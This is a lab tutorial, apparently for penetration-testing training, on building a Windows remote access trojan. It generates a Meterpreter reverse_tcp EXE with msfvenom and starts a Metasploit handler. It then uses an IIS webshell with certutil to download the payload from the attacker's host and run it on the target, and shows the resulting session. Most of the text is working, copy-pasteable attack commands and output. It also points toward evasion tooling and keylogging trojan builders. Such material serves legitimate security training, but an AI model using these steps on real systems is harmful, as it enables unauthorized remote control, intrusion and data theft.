How to Create a Windows RAT with msfvenom and Meterpreter

You need command execution on a Windows host before this walkthrough starts — on GOAD-Light that is the IIS upload shell from Obtain the IIS upload shell on castelblack in the Windows privilege escalation lesson. From Kali you will:

• build a Windows EXE with msfvenom
• start a Metasploit multi/handler listener
• copy the EXE to the target and run it
• confirm a Meterpreter callback in msfconsole

A remote access trojan (RAT) gives you an interactive command-and-control (C2) channel while its implant process is running. It does not automatically survive reboot, logoff, or process exit — persistence is a separate step and is not covered here.

Set lab variables once on Kali so you can paste the same values into msfvenom, the handler, and delivery commands:

• TARGET — Windows host IP (castelblack on GOAD-Light)
• KALI_IP — Kali on the attack network (vmbr1, not the management NIC)
• LPORT — TCP port for the callback (must match on payload and handler)
• SHELL — existing webshell URL used to run commands on the target

export TARGET=10.10.10.22
export KALI_IP=10.10.10.10
export LPORT=4444
export SHELL="http://${TARGET}/upload/cmd.aspx?cmd="

Windows RAT quick start

If you're looking for how to make a remote access trojan for a Windows lab, the basic workflow is payload → listener → execution → callback.

The lab chain on castelblack looks like this:

msfvenom EXE  →  stage on Kali HTTP  →  target downloads and runs  →  Meterpreter callback to handler

In order:

1. Generate windows/x64/meterpreter/reverse_tcp with msfvenom (KALI_IP + LPORT).
2. Confirm staged vs stageless — this lab uses the staged /reverse_tcp form.
3. Start exploit/multi/handler in msfconsole with the same payload family and transport.
4. Serve the EXE from Kali on vmbr1, pull it onto the target (certutil through the IIS shell), and run it.
5. Look for Meterpreter session … opened on the handler, then attach with sessions -i 1.

The sections below walk through each step, explain how a Windows RAT callback works, and cover common connection failures.

How does a Windows remote access trojan (RAT) work?

A remote access trojan (RAT) is malware — or a lab payload that behaves like malware — that lets an operator control a victim host remotely.

The callback chain you build in this lab:

1. Payload runs on the Windows target (your msfvenom EXE).
2. Target calls back to Kali (LHOST / LPORT).
3. Handler accepts the connection (exploit/multi/handler).
4. You get Meterpreter — an interactive session for commands, files, and post modules.

Common terms:

• Implant (client) — the EXE on the victim; runs commands and sends output back.
• Listener (server) — msfconsole waiting on Kali for inbound connections.
• Staging (optional) — a small stager downloads the full Meterpreter stage after the first connect (staged payloads only).

On GOAD-Light, traffic stays on isolated vmbr1 (10.10.10.0/24). Kali listens on 10.10.10.10; castelblack at 10.10.10.22 opens the outbound TCP connection — normal for a reverse TCP payload.

Compared with a one-shot reverse shell:

In penetration-testing labs, “create a RAT” is often used loosely for building an implant that phones home for interactive control. msfvenom plus Meterpreter is the standard teaching path because it mirrors commercial C2 callbacks without writing a custom loader first.

Create a Windows Meterpreter payload with msfvenom

msfvenom ships with Metasploit on Kali. Create a directory for lab artifacts and build a 64-bit msfvenom Meterpreter payload as a Windows EXE:

mkdir -p ~/rat-lab && cd ~/rat-lab

Point LHOST at Kali on the attack interface (vmbr1), not the management NIC:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST="${KALI_IP}" LPORT="${LPORT}" -f exe -o goad-shell.exe

LHOST is the Kali address the Windows target can reach on your lab network. LPORT is the TCP port the implant will call back to — the same value must appear in the handler you start next.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
Saved as: goad-shell.exe

In this tested Metasploit build, the generated stager was 509 bytes and the packaged EXE was 7,680 bytes. Sizes vary between Framework releases — treat the msfvenom output as version-specific, not fixed constants. msfvenom chose x64 automatically from the payload name; on 32-bit lab targets you would swap to windows/meterpreter/reverse_tcp.

Confirm the file type before you stage it:

file goad-shell.exe

goad-shell.exe: PE32+ executable for MS Windows 4.00 (GUI), x86-64, 5 sections

A PE32+ label confirms a 64-bit Windows GUI-subsystem executable — what you expect for castelblack.

Staged vs stageless Meterpreter

Metasploit payload names tell you how the implant is packaged:

This lab uses the staged form (windows/x64/meterpreter/reverse_tcp). Configure the handler with the same payload family and transport as msfvenom -p. A staged/stageless mismatch can prevent the expected Meterpreter session from establishing correctly.

For HTTPS callbacks, swap both sides to reverse_https and use LPORT=443 — only if nothing else on Kali already binds that port.

Start the Metasploit multi/handler

The handler is the listener on Kali that waits for the Windows implant to call back. exploit/multi/handler is the standard Metasploit module for catching reverse payloads.

Use the same staged payload you generated above — windows/x64/meterpreter/reverse_tcp in this lab. Do not swap in a stageless handler for a staged EXE.

Save a small resource script so you can restart the listener quickly:

cat > handler.rc <<RC
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ${KALI_IP}
set LPORT ${LPORT}
set ExitOnSession false
exploit -j
RC

ExitOnSession false keeps the listener running after the first callback — useful when you re-run the implant during lab practice.

Start the handler in a dedicated terminal:

msfconsole -q -r handler.rc

[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => 10.10.10.10
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:4444

Started reverse TCP handler means Kali is listening on vmbr1. Leave this msfconsole window open for the whole delivery step.

Deliver and run the Meterpreter payload

Delivery needs three things running at once on Kali:

• Terminal 1 — msfconsole handler (from the previous section)
• Terminal 2 — python3 -m http.server serving goad-shell.exe
• Terminal 3 — curl commands that talk to the webshell on castelblack

This lab uses the IIS upload shell at /upload/cmd.aspx from Obtain the IIS upload shell on castelblack. If your shell path differs, change SHELL in the variables block above.

First confirm the shell still responds:

curl -s "${SHELL}whoami"

<pre>iis apppool\defaultapppool
</pre>

Serve the payload from Kali on the attack interface in a second terminal:

cd ~/rat-lab
python3 -m http.server 8080 --bind "${KALI_IP}"

python3 -m http.server prints access lines when the target downloads the file — leave it running until delivery finishes.

Pull the EXE onto the target with certutil through the webshell:

curl -s "${SHELL}certutil%20-urlcache%20-split%20-f%20http://${KALI_IP}:8080/goad-shell.exe%20C:\Windows\Temp\goad-shell.exe"

<pre>****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.
</pre>

CertUtil: -URLCache command completed successfully means the file landed in C:\Windows\Temp\.

Launch the implant in the background so the webshell request does not hang:

curl -s --max-time 5 "${SHELL}start%20/b%20C:\Windows\Temp\goad-shell.exe" || true

The curl timeout is normal — the handler terminal is where you confirm success.

Switch back to the msfconsole handler window. Within a few seconds you should see staging and a new session:

[*] Sending stage (248902 bytes) to 10.10.10.22
[*] Meterpreter session 1 opened (10.10.10.10:4444 -> 10.10.10.22:53958) at 2026-08-31 17:54:20 +0000

Meterpreter session 1 opened is the proof point — the Windows RAT callback succeeded from castelblack to Kali.

Interact with the Meterpreter session

List active sessions from the same msfconsole instance that caught the callback:

sessions -l

You should see session 1 with type meterpreter x64/windows and the 10.10.10.10:4444 -> 10.10.10.22 connection string.

Attach to the session:

sessions -i 1

Inside Meterpreter, confirm which account launched the implant:

getuid

getuid prints the user context the payload inherited — in this lab that is iis apppool\defaultapppool, matching the IIS upload foothold.

Pull OS build and architecture details for your report notes:

sysinfo

sysinfo lists computer name, OS version, and architecture — useful evidence alongside the session timestamp from msfconsole.

Useful follow-on commands for reporting (run only inside your authorized lab):

When you finish, exit from Meterpreter and remove lab artifacts (goad-shell.exe on Kali and C:\Windows\Temp\goad-shell.exe on the target).

Detection, Defender, and evasion context

Default msfvenom Meterpreter binaries are useful in isolated labs — and they are noisy on patched Windows with Defender enabled. Expect:

• Static signatures on the stager and stage DLL
• Behavioral alerts on VirtualAlloc + outbound callback patterns
• Network detection on well-known Metasploit ports if you reuse 4444 on every exercise

PenTest+ Domain 4 treats payload obfuscation and security-tool circumvention as separate skills. For encoding or injection beyond this baseline, see the Shellter encoded-payload lesson or the TechnoLogger payload builder when you need a custom trojan with keylogging and binder options.

After a successful callback, note the payload type, LHOST/LPORT, getuid context, session timestamp, and whether Defender blocked staging — useful for lab reports and client deliverables.

Troubleshooting

Summary

You created a Windows RAT in an authorized lab: an msfvenom Windows Meterpreter payload, a matching exploit/multi/handler listener on Kali, delivery through an existing castelblack foothold, and verification of an outbound Meterpreter callback. That sequence — implant, listener, staging, session — is the same shape commercial crimeware RATs use, even when the tooling changes.

The main lab gotcha is pairing staged payloads with staged handlers. A one-character difference between meterpreter/reverse_tcp and meterpreter_reverse_tcp leaves you staring at an empty sessions -l list while the target process exits. Binding the listener to the wrong Kali interface is the other frequent miss on dual-NIC Proxmox labs — always use 10.10.10.10 on vmbr1 for GOAD traffic.

Default Meterpreter EXEs are teaching tools, not engagement-grade evasion. Treat Defender blocks as a finding and document them. For module search and session management beyond the handler, continue with the Metasploit tutorial; for privilege escalation after the callback lands, see the Windows privilege escalation lesson. Custom trojan builders (TechnoLogger) and encoded injection (Shellter) are separate lessons when the syllabus moves past basic msfvenom creation.

References

• Metasploit Framework documentation
• msfvenom — Metasploit Unleashed
• MITRE ATT&CK — Command and Control
• MITRE ATT&CK — Ingress Tool Transfer (T1105)